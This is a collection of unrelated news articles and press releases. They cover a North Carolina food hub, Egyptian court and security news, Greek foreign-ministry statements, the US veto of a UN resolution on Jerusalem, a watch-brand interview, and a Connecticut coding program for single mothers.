Here in McDowell, a group of churches, food pantry leaders, government agencies, nonprofits and residents are all working to make good food available for those who not sure how they will get it.

This proposed hub would be both a place and a system that would support farmers, provide greater access to food and promote healthier living and eating. The food hub would have the equipment and space for local farmers to wash, pack, temporarily store and distribute their produce. In addition, it could have a teaching kitchen and classrooms for healthy cooking and living classes. There could be a commercial kitchen for both community and entrepreneurial use and a community space for special events, according to organizers.

In addition, Paula Avery and Dawna Goode Ledbetter talked about the activities of the West Marion Community Forum and Ginger Webb talked about the Marion East Community Forum.

During the annual meeting, the McDowell County Health Coalition recognized three individuals for their work. They were Dawna Goode Ledbetter as Community Volunteer of the Year, Annie Carpenter as Staff Member or Collaborating Partner of the Year and Valerie Dobson as Board Member of the Year.

Merritt said she values the work done by all of the members of the Health Coalition. She also said more information is available through the Coalitions new web site: http://www.mcdowellhealthcoalition.org.
Song Xi

Song Xi, a 23-year-old female veteran, also a college student at Peking University, shot to game online after singing a song and sharing her stories in a TV program, womenvoice.cn reported on Dec. 19.

In the program, Song sang a song called Flying Red Flag for her comrades-in-arms and shared her stories, touching lots of audiences.

Born in a military family, Song kept the dream of being a soldier since childhood. Despite gaining no support from her parents, Song joined the Peoples Liberation Army (PLA) Navy when she was a senior in college.

Song recalled that she once engaged in an escort mission in the Gulf of Aden, when a cargo vessel of Tuvalu was attacked by some unknown pirates. She and her comrades-in-arms spared no effort to save the sailors on the vessel.

I felt most proud when the sailors said to us Thank you! China, holding a Chinese national flag and giving us a thumbs-up, said Song.
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Tell us how the new Favre-Leuba collection was born and how you plan to take the brand forward.

Ive known the brand since 1972, when I was eight years old. I had always admired it alongside some of the other big brands. Everything we do now is basically the same as what made the brand big in the early days and that boils down to three things: strong design, unmistakable innovative technology and perceived value. Its very simple and many brands make claims along these lines, but few of them can actually back it up. The brands achievements speak for themselves and we are trying to build a bridge back to the brands heyday.

We first saw the new collection in Baselworld, but since then you have been taking it around the world. What has the response been?

In general people appreciate what the brand did for the Swiss watchmaking industry. They also like what they see. Were not coming with something ordinary and we are demonstrating that we have gone the extra mile. If you look at our catalogue and packaging you can see that we take everything very seriously. This is something that separates Favre-Leuba from other brands. We cannot howl with the big wolves yet, but maybe in 20 years or more we can get there. I think with the direction we are going it will work..

As you are starting the redevelop the brand, the entire retail and distribution paradigm is shifting. How do you plan to tackle that particular challenge?

We need a hybrid solution. On the one hand we need bricks and mortar retailers who can amplify our message. On other hand we are not closing our eyes to online. We already have strong retailers helping us and as soon as they started stocking the Bivouac, it sold, which is a really positive sign. We also want to use online channels to a certain extent, but first I want to build up the brands image. I think then sales will come afterwards..

Bivouac 9000  Favre-Leuba

Favre-Leuba has a rich history. How much actual historical material do you have and how do you plan to use it?

We have a decent amount of information about the brands history. But we also gather a lot from museums and even individuals. We have people knocking on the door of our offices who used to work for the brand and in some cases they are in their nineties. Furthermore we still have access to members of the Favre family who can provide a lot of information. They are proud that the brand is back and they can see the ambition behind it. We also buy back certain watches and we repair any watch from the brands history that we receive. We are at the service of the customer and we want to keep customers loyal to the brand.

Will we see Favre-Leuba in Baselworld given all the recent changes?

Yes! We are a traditional Swiss brand and we support Baselworld. Im not going to spend millions on a three-storey stand but we will be in Les Ateliers again with the same stand. I dont dislike the fact that Baselworld has reduced the number of exhibitors because I think it improves the quality of the show. These shows are expensive but they dont happen every day. Maybe we could change it to every two years. Why do we have to launch new products every year? Do people really expect this from brands who are relatively conservative by their very nature?
Soltan's lawyer confirms his client, who has been standing trial on various criminal charges related to the 2013 Brotherhood-led Rabaa sit-in, was forced to rescind his Egyptian nationality to secure deportation

After 643 days in jail and 489 on hunger strike, Egyptian-American Mohamed Soltan, who was sentenced to life in prison in April, has given up his Egyptian nationality in order to be deported Saturday to the United States, a member of Soltan's defence team told Ahram Online.

Lawyer Halem Henish said that the procedures for his deportation were finalised last week after a long delay, because "Soltan absolutely rejected the idea of giving up his Egyptian nationality".

However, after the verdict of life in prison - which carries a 25-year prison sentence under Egypt's penal code - was issued against him in April, "Soltan's family and lawyers pressured him to give up his nationality as there was no other option," Henish added.

Soltan was arrested in August 2013, and charged with setting up an operations room at the Rabaa Al-Adawiya protest camp supporting ousted Muslim Brotherhood president Mohamed Morsi, inciting violence and murder, attacks on public employees among other charges.

His family say he was not a member of the banned Muslim Brotherhood, insisting that he returned to Egypt from the US in 2013 to care of his sick mother.

According to a law passed by President Abdel-Fattah El- Sisi in 2014, foreign nationals who are convicted in crimes they committed in Egypt can be deported to serve their sentences or be retried in their own country.

In February 2015, the Egyptian government used the law to deport Al Jazeera Australian journalist Peter Greste who was standing retrial in Cairo on charges of abetting terrorism dating back to late 2013.

Shortly after Greste's deportation, Mohamed Fahmy -- an Egyptian-Canadian Al Jazeera TV producer -- who was a co-defendant of Greste, was forced to rescind his Egyptian citizenship, hoping the government would also deport him after spending months in jail on trial and retrial. Cairo, however, has so far declined to deport him, and he continues to stand retrial with the remaining co-defendants.

"The US government has successfully secured Mohamed's deportation back home to the US, mercifully concluding this dark chapter for Mohamed and our family," Soltan's family said in a statement on Saturday.

Egypt's general prosecution also released a statement on Saturday saying that the decision to deport Soltan's deportation is in compliance with Egyptian law.

"He can continue serving his prison sentence in the United States."

Once he lands in the US, Soltan will receive medical treatment and spend the immediate future with his family recovering.

Soltan's health conditions deteriorated rapidly during 16 months on hunger strike and 643 days behind bars in total.

He lost half his body weight, according to his family.

The 27-year-old was admitted to hospitals for brief periods more than once.

The ministry of interior has maintained all along that Soltan's health was stable despite his refusal to eat.

On social media, photos of Soltan before his arrest and during his hunger strike show the significant weight loss.

During his trial, the Cairo Criminal Court rejected several requests by Soltan's defence team to release him based on his deteriorating medical condition.

Last year, at least 12 rights groups filed a request for the court to release Soltan on medical grounds, but the court rejected the effort, describing it as "a blatant intervention in judicial work".

The rights groups which attempted to advocate for Soltan's release included the freedoms committee of the Doctors' Syndicate, Al-Nadeem Centre for Rehabilitation of Victims of Violence, the Egyptian Initiative for Personal Rights (EIPR), and the Arab Network for Human Rights Information (ANHRI).

Aida Seif El-Dawla, one of the leading rights activists who campaigned for Soltan's release from jail, who at one point during Soltan's saga went on hunger strike herself in solidarity with him and other hunger strikers in jail, offered words of support and defiance on her Facebook page.

"[Soltan] was always an Egyptian, no thanks to any decree by the ministry of interior. He will never cease to be an Egyptian regardless of any decree by the ministry of interiorYou will remain Egyptian, a patriot, and a courageous person wherever you are."

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Archana Jain

BENGALURU and/PRNewswire/ --Cytecare Hospital is proud to launch its Tele-Consultation program in. With the goal of transforming the tertiary and quaternary healthcare system to be more accessible and affordable, Cytecare along with Expert Chikitsa is taking its fight against Cancer toAccording to World Health Organization's, Global Cancer Project (GLOBOCAN-2012), 1.22 lakh new cancer cases are reported inevery year, with the survival rate at a meager 31,000. Such high casualty rates are due to the majority of the patients reporting at the last stage and lack of treatment facilities. As per WHO guidelines,should have 160 treatment centers in order to cater to its population. However, it has only 16., CEO, Cytecare Cancer Hospitals, said, "There is a tremendous need for cancer awareness and supporting patients inwith the right diagnosis and treatment advice. Our dedicated information centers will offer video consultation for the patients and allow them to interact with top specialists of Cytecare Cancer Hospitals. It is important to make cancer treatment affordable and accessible for the common man."In addition to the launch of the Tele-Consultation program, Dr. Vikram Kekatpure and Dr., of Cytecare Cancer Hospital also engaged in various medical education initiatives, such as organizing a seminar on 'Functional Rehabilitation following Oral resection' at City Dental College,; a Continuing Medical Education (CME) program on 'Changing paradigm of head and neck cancer management' which was attended by over 40 doctors; doctor and hospital visits with the intention of building a stronger doctor referral network; and a corporate health talk on 'Tobacco and Health Effects'.A good healthcare system is the basic right of every citizen of this world. As an expert in Oncological treatment, it is the duty and responsibility of Cytecare to take its specialized care to the doorstep of anyone who may need it.The word 'cyte' is derived from the Greek word, 'kytos', which means cell. We represent care at a cellular level.Our principle is, Fighting Cancer the Right Way. Cytecare provides highly specialized, modern diagnostic services, treatment and care for Cancer. We believe and understand that every cancer is different and hence, specialized treatment is necessary to be provided for each. We are practitioners of researched cancer care methodologies, owing to which, our multi-disciplinary team of clinicians is strongly guided by national as well as global protocols such as the National Comprehensive Cancer Network (NCCN), European Society for Medical Oncology (ESMO), National Health Service (NHS), Indian Council of Medical Research (ICMR) and Tata Memorial Hospital. Cytecare promotes deeper understanding of individuals and their treatments.archana@conceptindia.com +91-9845541244 Concept Public Relations India Limited
At least 61 people have been killed in clashes between different ethnic groups in Ethiopia's Oromiya region, officials said, the latest bout of violence to highlight increasing instability in a province racked by bloody protests in 2015 and 2016.

From Thursday, 29 ethnic Oromos were killed by ethnic Somali attackers in the region's Hawi Gudina and Daro Lebu districts, regional spokesman Addisu Arega Kitessa said.

The violence triggered revenge attacks by ethnic Oromos in another district, resulting in the killing of 32 Somalis who were being sheltered in the area following a previous round of violence.

"The region is working to bring the perpetrators to justice," the spokesman said in a statement.

The cause of the latest violence was not known, but it followed protests in Oromiya's Celenko town where the region's officials said 16 ethnic Oromos were shot dead on Tuesday by soldiers trying to disperse the crowd.

"We do not know who ordered the deployment of the military. This illegal act should be punished," said Lema Megersa, the region's president.

The clashes are likely to fuel fears about security in Ethiopia, the region's biggest economy and a staunch Western ally.

Lema's comments also illustrate growing friction within Ethiopia's ruling EPRDF coalition, since unrest roiled the Oromiya region in 2015 and 2016, when hundreds of people were killed.

At that time, the violence forced the government to impose a nine-month state of emergency that was only lifted in August.

The unrest was provoked by a development scheme for the capital Addis Ababa that dissidents said amounted to land grabs and turned into broader anti-government demonstrations over political and human rights.

It included attacks on businesses, many of them foreign-owned, including farms growing flowers for export.

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Related Saudi Arabia says it intercepts missile close to capital

"Coalition forces confirm intercepting an Iranian-Houthi missile," the Center for International Communication, an arm of the Saudi information ministry, said on Twitter on Tuesday.

Earlier in the day, Saudi air defenses on Tuesday intercepted a ballistic missile fired towards the Saudi capital Riyadh.

The ballistic missile was intercepted south of the capital, and the missile did not cause any damage, the Al-Saudiya announced in a news flash.

The armed Houthi movement, who is battling a Saudi-led coalition in neighbouring Yemen, said it had fired a ballistic missile towards the Saudi capital.

Today's incident comes days after Washington accused Tehran of manufacturing a missile fired by the Yemeni rebels at the Saudi capital last month.

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Deputy Minister of Foreign Affairs, Terens Quick, and Armenian Diaspora Minister, Hranush Hakobyan, signed, in Yerevan, a Memorandum of Cooperation (MOU) on Diaspora issues.

In statements to the media, Deputy Minister of Foreign Affairs Quick stressed the following:

The genocides, the shared sorrows, the history of the two peoples, Christianity, culture and traditions are some of the many ties between Greece and Armenia. This confers great importance on todays signing, with my counterpart Hranush Hakobyan, of the MOU.

As I have already stated, our cooperation with Armenia, within the framework our trilateral cooperation with Cyprus is off to a very auspicious start, with many actions planned for 2018. Actions that we will be hosting in Greece Thessaloniki and Komotiniwhich will focus on events dedicated to the Pontic and Armenian Genocides.

Following the signing of the MOU, Mr. Quick met with the President of the National Assembly of Armenia, Ara Babloyan, to whom he conveyed the greetings of the President of the Hellenic Parliament, Nikos Voutsis, ahead of the setting of a date for the latters visit to Yerevan.
The Minister of Foreign Affairs, Nikos Kotzias, will carry out a visit to Rome on Wednesday, 20 December.

The Minister will meet with his Italian counterpart, A. Alfano. The talks will focus on further deepening of bilateral relations and strengthening of cooperation in sectors of mutual interest, in light of the current developments and common challenges in the wider region.

In the framework of his visit, the Greek Minister of Foreign Affairs and his Italian counterpart will sign a Memorandum of Understanding on Political Consultations, as well as a Memorandum of Cooperation in the sector of Diplomatic Training, between the Greek and Italian Ministries of Foreign Affairs.
Deputy Minister of Foreign Affairs Terens Quick made the following statement after the Greece-Cyprus-Armenia Trilateral meeting on Diaspora issues, which was held in Yerevan:



The actions of our Trilateral cooperation will be based on the pillars of Diaspora youth and well-known members of our Diasporas throughout the world, to the benefit of our nations and our overseas communities. I am thoroughly convinced that this important endeavour we are launching will have the full support and assistance of diaspora communities the world over.



This was the second Trilateral meeting on diaspora cooperation between the three countries; cooperation that is the result of an initiative on the part of Minister of Foreign Affairs Nikos Kotzias, in consultation with his Cypriot and Armenian counterparts. Diaspora issues were among the subjects of the talks and meeting held last Wednesday, in Athens, between the Greek Minister of Foreign Affairs and his Armenian counterpart, Edward Nalbandian.



The Greek Deputy Minister of Foreign Affairs, Terens Quick, the Cypriot Commissioner for Overseas Cypriots, Fotis Fotiou, and the Armenian Diaspora Minister, Hranush Hakobyan, set the agenda of actions for 2018; actions that will take place in the three countries capitals and in countries with large Armenian communities, such as France and the U.S.



On the recommendation of its General Secretariat for Greeks Abroad, Greece proposes the hosting of a photo exhibit in Thessaloniki on the subject of the Armenian and Pontic Genocides, in parallel with cultural events supported by the corresponding organizations in each country. Moreover, in Komotini, where there is a large Armenian community, a meeting of top university students of the three countries Diaspora communities will be held, with the aim of developing inter-university links among the Greek, Cypriot and Armenian Diasporas. In this regard, the Greek Deputy Minister of Foreign Affairs stressed: I am certain that we will be assisted in these two actions by the Aristotle University of Thessaloniki, with its new Chair of Pontic Studies, and the Democritus University of Thrace, as well as by the Municipalities of the two cities, in parallel, of course, with the local organizations of the Pontians, Armenians and Cypriots.



The Trilateral meeting culminated in a meeting with Armenian Deputy Minister of Foreign Affairs Garen Nazaryan and a visit by the heads of the three countries delegations to Patriarch Karenin II of Armenia.



The next meeting will take place in March, in Greece.
On Monday, the United States vetoed a draft in the UN Security Council that called on the US to reverse its recent recognition of Jerusalem as the capital of Israel

Egypt says Arab countries are considering taking the Arab draft resolution on maintaining the status of Jerusalem to the United Nations General Assembly after the US vetoed the resolution at the Security Council on Monday.

The failed resolution had demanded US President Donald Trump rescind his 6 December decision to recognize Jerusalem as the capital of Israel.

"This will be discussed within the Arab group to decide on the direction, the timing and the phrasing that will be presented to the [UN General] Assembly," Egypt's foreign ministry spokesman Ahmed Abu Zeid said in TV comments on Sada Al-Balad satellite TV channel on Monday evening.

The 193-member-nation General Assembly passes decisions through one-member one-vote rule and does not allow vetoes.

On Monday, 14 of the 15 members of the council voted for the Egyptian-drafted resolution, which affirmed that "any decisions and actions which purport to have changed the character, status or demographic composition of the Holy City of Jerusalem have no legal effect, are null and void and must be overturned in compliance with relevant resolutions of the Security Council. However, the US vetoed the measure.

Abu Zeid's TV comments on the issue follow in the footsteps of a similar announcement by Palestinian President Mahmoud Abbas before the council's vote, stating that the Palestinian leadership would turn to the UN General Assembly in response to a US veto.

Speaking at a Palestinian leadership meeting on Monday night after the resolution failed to pass, Abbas said the leadership would embark on a series of legal, political and diplomatic efforts to counter Trump's decision on Jerusalem.

Egypt, Arab countries and other major Western powers, including France, Russia, China and the UK, have insisted that the final status of Jerusalem should only be determined through negotiations between the Palestinians and the Israelis.

"Egypt calls on the world's major powers to fulfill their responsibilities towards the peace process and encourage the parties to negotiate," Abu Zeid added.

Shortly after the veto, Egypt's Ministry of Foreign Affairs issued a statement saying that Egypt regrets the failure to pass a resolution expressing the conscience of the international community which rejected in clear terms the USs recognition of Jerusalem as the Capital of Israel

It is very worrying that the Security Council failed to issue a resolution that cofirms its previous resolutions and positions regarding the legal status of Jerusalem as an occupied city, a staus that is subject to negotiations on a final resolution for the Palestinian issue based on internationally agreed upon points of reference," the ministry said.

Israel seized control of the eastern part of the city in the 1967 Middle East war and annexed East Jerusalem in 1980, a move that has never been recognised by the international community.

The Palestinians have long demanded occupied East Jerusalem for the capital of their future state.

Peace negotiations between the Palestinian authorities and Israel  which have lasted for more than two decades based on the 1993 Oslo accords  have been stalled since 2014.

In recent years, Israel has intensified the construction of hundreds of illegal Jewish settlements in occupied East Jerusalem and the West Bank, thus creating new demographics that weaken the ability of the Palestinians to build a geographically contiguous state.

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N. KOTZIAS: I welcomed Sala to Greece. We are very pleased that Afghanistan, with which we are linked by so many thousands of years of relations and history and cultural heritage, is here with us.



The opening of the Afghan Embassy in Greece is a step forward in our relations and in the re-internationalization of the country, which is growing ever stronger in international diplomacy.



My colleague and I talked about the possibilities of cooperation between the two states. There are many sectors in which to develop these relations: education, including training of fire-fighters and police officers. There is culture, where we decided to develop the relations between Greek and Afghan universities. In culture and cooperation between the universities there is particular interest in archaeology and archaeological schools.



We talked about the potential for developing our economic relations, which are at a very low level  under 4.5 million; a medium-sized companys turnover. We talked about the need to systematize our relations through reciprocal visits of Ministers, Secretaries General and Political Directors, through cooperation between our European and Middle East Directorates.



Our offer of cooperation on European Union issues, on which Greece has great expertise, was accepted. Moreover, we would like university students to come to study in Greece, and we will send experts to help our Afghan friends gain a deeper understanding of the European Union.



We talked about economic cooperation and the cooperation between our two Ministries, the directorates and personnel competent for international economic relations. And there will be meetings between the competent officials and entrepreneurs. There is a great thirst for knowledge and development of economic relations in sectors such as mining and agriculture.



I want to thank the Afghan side once again for the big step of opening an embassy in Greece; an embassy that will help us better resolve the problems that arise with economic migrants and refugees of Afghan origin, who often dont come here from Afghanistan, but from third countries where their parents resided.



Thank you. We will talk again at the inauguration of the embassy, at 17:00 this afternoon.



S. RABBANI: Thank you so much. Thank you Mr. Minister. Of course, today was a great day in relation to the Greek-Afghan relations. So, we have upgraded our Embassy from a non-resident ambassador to the full Embassy. And as the Minister said, today it will be inaugurated. So, I can say that today was a great day in Afghan-Greek relations.



As Minister discussed, in our talks today we covered large areas, different areas of cooperation, from security to provision of scholarships, to training of our police, to providing scholarships to train our students in archeology and many other areas.



We look forward to continue to strengthen our relations with Greece, a country with whom we have historical relations. There are cities in Afghanistan built, probably thousands of years ago, hundreds of years ago, by Greek.



And of course, at the current phase we are very much grateful for what Greece has done and supported in the framework of the ISF, International Security Forces in the past, by contribution of troops. And in the recent phase, in the .coordination, Greeces forces are also there.



Im glad to say that Minister proposed the training for the police, which is something that we appreciate, we welcome. And we look forward to sending our staff here for training.

We also want to explore on expanding our trade relations, on economic relations. This is something good for both countries. We can learn a lot from the Greek experience. And of course, Afghanistan. There are opportunities in Afghanistan.



And also, as Minister mentioned, we will work together to encourage Greek investments in Afghanistan. You are, Im sure, aware that Afghanistan is mineral rich country. There are resources. And we need investments.



So, we see today as a great day for all of us. I thank the Foreign Minister, a great friend, whom I had the honor to meet today. And of course, that well continue these meetings. And we will work together to strengthen and deepen our relations.



Thank you so much for your time. And of course, Mr. Minister, I look forward to seeing you in Afghanistan in next year. And hopefully, we will work together that the countries should strengthen and deepen their relations.



Thank you very much.





N. KOTZIAS: We have time for one question each.



REPORTER: A question for Mr. Kotzias. Would you like to comment on the Albanian governments decision regarding the Greek cemeteries, for our fallen?



N. KOTZIAS: I think it is a very positive step that comes following the fact that the small church of Saint Athanasios, which was destroyed last year in Himara, is now being rebuilt with funding from the Albanian government.



I believe that the law passed by the Albanian Ministerial Council on the 13th of the month, and which was made public yesterday, Sunday  a law that regulates the issues of the Cemeteries of Greek soldiers and officers who fell on Albanian soil in 1940-1941  is a huge step towards putting our soldiers souls to rest and constitutes another step of trust between the two sides.



This development, like other, smaller steps  I mentioned one example of the steps that have been taken  shows that diplomacy can achieve much more than empty cries of protest. Diplomacy is the way for us to achieve the positive development of our relations with our neighbours. Our government and I, personally, have chosen this path and we are shouldering the weight of the path of peaceful understanding, of diplomacy and the development of the national agenda with the states in our environs.



I thank everyone who contributed towards this decision in the past.



REPORTER: For the Afghan Minister of Foreign Affairs, a question concerning the refugee issue. In our country, most of the discussions regarding the Afghans concern the refugees heading to Europe via Greece. We know that you still have serious problems with terrorism and the civil conflict. What is your proposal, or whether you have a proposal for the European Union regarding how the refugee flows toward Europe might be reduced?



S. RABBANI: As you know, Afghanistan has signed an agreement with European Union, joint way forward and as we have said. And that we are committed to honoring of the international obligations that we have on this part.



So, I can that there of course issues in the region and as far as refugees are concerned. But Afghanistan will honor its obligations.



Thank you very much.



N. KOTZIAS: Thank you very much.
Egypt has expressed regret over failure of the UN Security Council to pass a resolution that would have required the US president Donald Trump to rescind his 6 December decision to recognise the city of Jerusalem as the capital of Israel due to a US veto, the Egyptian foreign ministry said on Monday.

Egypt had presented the draft resolution to the Security Council on behalf of Arab countries.

The resolution was vetoed on Monday by the US after gaining support from all 14 other members of the Security Council, including key US allies Britain, France, Italy, Japan and Ukraine.

The ministry said that Egypt regrets the failure to pass a resolution expressing the conscience of the international community which rejected in clear terms the USs recognition of Jerusalem as the Capital of Israel

It is very worrying that the Security Council failed to issue a resolution that cofirms its previous resolutions and positions regarding the legal status of Jerusalem as an occupied city, a staus that is subject to negotiations on a final resolution for the Palestinian issue based on internationally agreed upon points of reference," the ministry said.

The statement added that the Arab countries in UN will meet to evaluate the situation and determine further steps to defend the status of Jerusalem.

Egypt has long maintained its support for the establishing of a Palestinian state along the 1967 borders with East Jerusalem as its capital.

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Egypt's interior ministry announced on Tuesday a high security alert level and said it would be allocating 230,000 security personnel to secure the country's Christmas celebrations which start next week, security sources told the official state new agency MENA.

"Holidays and vacations were cancelled for security personnel and officers at all security directorates across the country, security sources told MENA.

The source added that the security plans will include deployment of personnel and officers from all the ministrys departments to protect 2,626 churches nationwide during the celebrations.

Coptic Egyptians, who make up 90% of all Christians in the country, celebrate Christmas on 7 January. However, a minority of non-orthodox Christian Egyptians observe the holiday on 25 December.

The security plans will also include public parks, vital state institutions and touristic sites.

According to the source, security procedures have been updated to ensure the safety of CCTV and metal detectors systems at all churches across the country.

"Security forces are also planned to intensify proactive hits against terrorist organisations, as well as tightening security measures at border crossings between North Sinai and other governorates, to prevent any infiltration from terrorist elements into the cities," a source told MENA.

In the last two years, Terror attacks on churches during religious holiday seasons left tens of Christians killed and many injured.

On Palm Sunday last April, two terrorist bombings at St George Cathedral in Tanta and St Mark's Cathedral in Alexandria killed a total 47 worshippers in near-simultaneous attacks.

In December 2016, a suicide attack in Cairo's St. Peter and St. Paul Church killed 29 people, mostly women and children, during mass.

The terrorist Daesh group claimed responsibility for those terror attacks.

The deadliest terror attack in Egypt's recent memory took place in November of this year, when Daesh-affiliated terrorists attacked worshippers at Friday prayers in a mosque in Bir El-Abd town in North Sinia, killing 311 people and injuring tens.

The Egyptian army and police have been battling an entrenched Islamist insurgency for several years in North Sinai, with hundreds of security forces killed in the attacks.

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A Cairo criminal court handed preliminary death sentences to 21 people on Tuesday who were convicted in a court case dubbed by local media the Damietta terror cell case.

The courts preliminary death verdict is scheduled to be referred to the countrys grand mufti for a consultative non-binding opinion, as per Egypts penal code, and a final verdict will be rendered on 22 February for all 28 defendants in the case.

The defendants were charged with joining an outlawed group that aims to obstruct state institutions from carrying out duties, targeting private and public property, planning to assassinate police and military personnel, manufacturing explosive devices, and embracing terrorist thoughts.

The case dates back to May 2015, when the Egyptian interior ministry said it had arrested 12 members of a terror cell in the city of Damietta, which is about 200 kilometres north of the capital.

The police said the defendants placed explosive devices outside the citys police station and under gas pipelines in a nearby village.

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The Library of Congress is heading into old territory with its newest online collection.

The research library is putting thousands of maps from the late 1800s to the early 1900s on its website, thanks to a partnership with the Digital Public Library of America.

Back before Google mapped the world and made flyover views available at everyone's fingertips, maps were created by cartographers who had a keen eye.

According to the Library of Congress, the panoramic maps shown above were also known as bird's-eye views, perspective maps and aero views. The maps were usually not drawn to scale but they gave a perspective of street patterns, buildings and major landscapes.

SEE ALSO: Bird's eye view of Midland

Most of the maps added to the website are documented in "Panoramic Maps of Cities in the United States and Canada" by John R. Hebert and Patric E. Dempsy.

The duo collected 1,726 panoramic maps of U.S. and Canadian cities, which were made by Albert Ruger, Thaddeus Mortimer Fowler, Lucien R. Burleigh, Henry Wellge and Oakley H. Bailey.The five men are responsible for more than 55 percent of the panoramic maps in the Library of Congress.

While not necessarily great for navigating  given the amount of development nationally in the 100 years or so since their creation  the maps offer an interesting view of early America.

In a release, Librarian of Congress Carla Hayden called the maps "beautiful" and "one-of-a kind."

The panoramic maps have been released with maps from the Revolutionary War and Civil War.

Click through the slideshow above to see maps of Michigan cities from the late 1800s to the early 1900s.
Egypt's has condemned in the strongest terms the targeting of the Saudi capital Riyadh by a ballistic missile fired from Yemen on Tuesday, a statement by the foreign ministry read on Tuesday.

"Egypt affirms it stands by the Saudi Arabian government and people in the face of any attempt to disrupt its stability and security," the statement said.

Egypt also called on the immediate ending of targeting Saudi territories and bringing to account those responsible for such hostilities with respect to international law and the United Nations' charter, that enforce the respect for countries sovereignty and good neighbour policy.

Earlier today, Saudi air defences intercepted a ballistic missile fired towards Riyadh.

"Coalition forces confirmed intercepting an Iranian-Houthi missile," the Center for International Communication, an arm of the Saudi information ministry, said on Twitter on Tuesday.

The ballistic missile was intercepted south of the capital, and the missile did not cause any damage, the Al-Saudiya TV channel announced in a news flash.

The Houthis, who are battling a Saudi-led coalition in neighbouring Yemen, said it had fired a ballistic missile towards the Saudi capital.

Today's incident comes days after Washington accused Tehran of manufacturing a missile fired by the Yemeni rebels at the Saudi capital last month.

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CASS CITY  During Cass City School Districts History-based movie class, students watch movies to learn about history.

And now they can have their popcorn too.

The Tuscola County Community Foundation awarded about $72,000 worth of grants from William and Ruth Janks Fund, Claude and Etta Andrews fund, and the Future Youth Involvement fund, according to Ken Micklash, the foundations executive director.

One of the many recipients was the Cass City School District. An award of $844 was given to the district to purchase new popcorn machine for the history of movie class.

The class is taught as an elective. The visual imagery along with the audio of a movie engages students in ways that lectures and history textbooks cannot.

The class is not based on a textbook approach to learning, but rather a way to learn about historical events and people in a creative way using movies, documentaries, talking to those who lived it, and using Skype to do Internet virtual tours and communication, and a lot of research.

With the award, students can have their movie, learn history and have their popcorn too.

Also, $2,400 went to Cass City and Caro schools to support assembly of The Famous Chinese Acrobats, and Cass City schools also received $750 for its agri-science program to purchase literature to integrate into science class and support career development event.

Some of the other awards included $4,405 going to the Tuscola Countys Sheriff Office.

The money will be used to purchase a computer to help with traffic accident reconstruction, according to Tuscola County Sheriff Glen Skrent.

The Almer Township Darbee Farm Park Committee received $12,000 to go towards replacement of worn and broken playground equipment.

In addition besides that award, committee member Carolyn Graff wrote for and receive other grants for park improvements totally about $90,000.

Some of the other awards included: $1,850 to Tuscola County Fair Association to purchase Step-N-Wash units for restrooms; $5,000 to Great Start Tuscola Imagination Library to support preschool literacy program by purchasing books for children; $500 to Tuscola Intermediate School District to support transition day for students with diverse disabilities from nine local school districts; and $1,000 to Tuscola Technology Centers Marketing Program for an updated checkout counter.

The foundation maintains more than 90 funds, most of them endowed. Its current assets total $13 million, with over $4.5 million awarded from the various funds to date to help make Tuscola County a better place to live.
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MIDDLETOWN  Britt Marshall, a first-year student at Middlesex Community College and single mother to 3- and 7-year-old girls, grew up wanting to take care of people.

So when it came time to begin higher education, Marshall thought she might like to study pre-med, but it wasnt until she learned about a computer coding course through her church that she solidified her career goal  and took a big step toward her familys future.

We have  and this is not just a Middletown problem, its a global problem  a shortage of software developers, said Professor Donna Hylton, program coordinator of Computer Information Technology and Management Information Systems at MxCC.

Hylton, who has been in a traditionally male-dominated field since the late 1970s, took a semester-long sabbatical in June to work on a project to increase STEM awareness among underrepresented populations within the community.

We are not attracting a lot of people who look like me, and hardly any females, and particular ethnic groups are missing from our degrees. I wanted to bring some intentional programming that would attract women and girls, said Hylton, who is also a pastor of administration and counseling at Shiloh Christian Church on Saybrook Road.

She soon after arrived at her sabbatical project: STEAM Train. STEAM is an acronym for Strategically Train, Educate, Assist, and Mentor.

Prior to taking the six-month free course, Fast Track STEM Career Academy, Marshall, who works part-time in the MxCC financial aid department, didnt know anything about software coding.

I didnt know I had the ability to learn these skills and I like doing them, she said. I thought I wasnt mathematical and thought I didnt know anything about computers.

Courtesy of a grant from the Middlesex Community College Foundation and private donors, Hylton gathered enough funding to start STEAM Train, which has three core programs: a STEM summer camp, Mobile Application Development Programming Camp, and the Fast Track STEM Career Academy.

For Fast Track, she enlisted the help of Tim Laubacher, CEO and owner of Sound Web Solutions in Haddam. His company provides strategy and development services to startup web and mobile-based companies and organizations that work with entrepreneurs.

Her primary concern has always been single moms in the community  like Marshall especially those living under the poverty level.

That is a growing demographic that needs job skills. Here we have a college that can offer skills that lead to employment, but there seems to be a disconnect between what we can offer and the people who need it, Hylton said.

STEM jobs are growing at 1.7 times the rate of non-STEM jobs, and this country is not producing enough candidates to fill them, according to Hylton. Only 16 percent of high school seniors are interested in pursuing STEM careers, according to the Department of Education, yet STEM workers command higher wages, earning approximately 26 percent more than their non-STEM counterparts.

Workers who know coding often find their skills lead to a lucrative career. An entry-level job in computer programming pays about $60,000 a year, Laubacher said, and within five to 10 years, they could earn as much as $100,000 annually.

Hylton first introduced Marshall, a member of the churchs single-mom support group Mommy Time, to STEAM while she was searching for candidates. After an interview and aptitude testing, Hylton found four women from the church, ranging in age from 30s to early 60s, who were interested.

Marshall and the others, who all knew one another, began the course in June.

She didnt know a thing about coding. It was like, What are all these letters? but he explained what it was about, Marshall said, and the women soon began classes twice a week.

Tim started from the very basics: This is the internet, Hylton said, as she, Marshall and Laubacher laughed at the idea.

Class time was reduced to weekly sessions after Hylton introduced a tutor/design consultant  her daughter Ramona Hylton  and a client  herself. The womens capstone project: Create a website for STEAM Train.

Ramona Hylton holds a masters degree in digital media and owns a graphic design business. She was the resource that helped to provide the extra support for the cohort of women, her mother said.

Laubacher introduced the students to the popular and user-friendly WordPress content management system. His goal was to teach the women how to create websites for companies, something they could begin doing on a freelance basis.

Maybe not day one of this program, but very soon after, they have the skills where they could jump into doing work like that for a company like mine, Laubacher said.

He admits his aim with STEAM Train was a bit of a selfish one.

With this program, I want to be able to have some graduates that end up working for me, said Laubacher, who just hired Marshall part-time.

Being armed with coding skills and the ability to select projects to work on around her daughters schedules was a perfect fit for Marshall.

They can pick and choose how much work they want to do, and, as they grow their skills, they can increase their rate as their skills increase, and kind of work when they want, said Laubacher.

Im trying to build a density of computer science expertise in the state, because if we have that, were going to get companies from Boston or New York paying outrageous fees for that work sending their work to Connecticut, which will end up helping our economy, Laubacher said.

After going through the STEAM program, the women realize they have an ability they didnt know they were capable of learning, he said.

Its not completely unknowable, thats the most exciting part, Laubacher said.

For information, visit steamtrainwebsite.

wordpress.com.

